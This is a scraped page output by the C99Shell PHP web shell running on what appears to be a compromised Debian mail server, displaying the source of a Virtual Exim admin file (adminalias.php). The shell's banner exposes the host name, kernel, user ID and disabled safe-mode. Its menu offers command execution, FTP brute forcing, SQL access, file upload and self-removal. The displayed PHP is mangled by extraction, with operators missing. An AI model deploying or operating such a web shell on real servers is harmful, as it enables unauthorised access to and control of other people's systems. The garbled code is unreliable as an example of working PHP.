!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/vexim/   drwxr-xr-x
Free 130.06 GB of 142.11 GB (91.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     adminalias.php (3.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
  
include_once dirname(__FILE__) . '/config/variables.php';
  include_once 
dirname(__FILE__) . '/config/authpostmaster.php';
  include_once 
dirname(__FILE__) . '/config/functions.php';
  include_once 
dirname(__FILE__) . '/config/httpheaders.php';
?>
<html>
  <head>
    <title><?php echo _('Virtual Exim') . ': ' _('Manage Users'); ?></title>
    <link rel="stylesheet" href="style.css" type="text/css">
  </head>
  <body>
    <?php include dirname(__FILE__) . '/config/header.php'?>
    <div id="menu">
      <a href="adminaliasadd.php"><?php echo _('Add Alias'); ?></a></br>
      <?php $query "SELECT user_id,realname,smtp FROM users,domains
        WHERE domains.domain_id=
{$_SESSION['domain_id']}
        AND users.domain_id=domains.domain_id
        AND users.type='catch'"
;
        
$result $db->query($query);
        if (!
$result->numRows()) {
          print 
'<a href="admincatchalladd.php">'
            
_('Add Catchall')
            . 
'</a></br>';
        }
      
?>
      <a href="admin.php"><?php echo _('Main Menu'); ?></a><br>
      <br><a href="logout.php"><?php echo _('Logout'); ?></a><br>
    </div>
    <div id="Content">
    <table align="center">
      <tr>
        <th>&nbsp;</th>
        <th><?php echo _('Alias'); ?></th>
        <th><?php echo _('Target address'); ?></th>
        <th><?php echo _('Forwards to..'); ?></th>
        <th><?php echo _('Admin'); ?></th>
      </tr>
      <?php
        
if ($result->numRows()) {
          
$row $result->fetchRow();
          print 
'<tr><td align="center">'
            
'<a href="adminaliasdelete.php?user_id='
            
$row['user_id']
            . 
'&localpart='
            
$row['localpart']
            . 
'">'
            
'<img class="trash" src="images/trashcan.gif" title="'
            
_("Delete alias ")
            . 
$row['localpart']
            . 
'"></a></td>';
          print 
'<td>'
            
'<a href="admincatchall.php?user_id=' 
            
$row['user_id'
            . 
'">'
            
$row['realname']
            . 
'</a></td>';
          print 
'<td>*</td>';
          print 
'<td>' $row['smtp'] . '</td>';
          print 
'<td class="check">';
          print 
'</tr>';
        }
        
$query "SELECT user_id,localpart,smtp,realname,users.type,admin
          FROM users,domains
          WHERE domains.domain_id=
{$_SESSION['domain_id']}
          AND domains.domain_id=users.domain_id
          AND users.type='alias' ORDER BY localpart;"
;
        
$result $db->query($query);
        if (
$result->numRows()) {
          while (
$row $result->fetchRow()) {
            print 
'<tr><td align="center">'
              
'<a href="adminaliasdelete.php?user_id='
              
$row['user_id']
              . 
'&localpart='
              
$row['localpart']
              . 
'"><img class="trash"src="images/trashcan.gif" title="'
              
_('Delete alias ')
              . 
$row['localpart']
              .  
'"></a></td>';
            print 
'<td>';
            print 
'<a href="adminaliaschange.php?user_id='
              
$row['user_id']
              . 
'">'
              
$row['realname']
              . 
'</a></td>';
            print 
'<td>' $row['localpart'] . '</td>';
            print 
'<td>' $row['smtp'] . '</td>';
            print 
'<td class="check">';
            if (
$row['admin'] == "1") {
            print 
'<img class="check" src="images/check.gif" title="'
              
$row['realname'] . _(' is an administrator')
              . 
'">';
            }
            print 
'</tr>';
          }
        }
      
?>
      <tr>
        <td colspan="4" style="padding-top:1em">
          <b><?php echo _('Note'); ?>:</b>
          <?php
            
echo _('You can only have one catchall per domain.')
            . 
'<br />'
            
_('It will catch and forward all email that does not get delivered to a specific mailbox.');
          
?>
        </td>
      </tr>
    </table>
    </div>
  </body>
</html>

<!-- Layout and CSS tricks obtained from http://www.bluerobot.com/web/layouts/ -->

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0073 ]--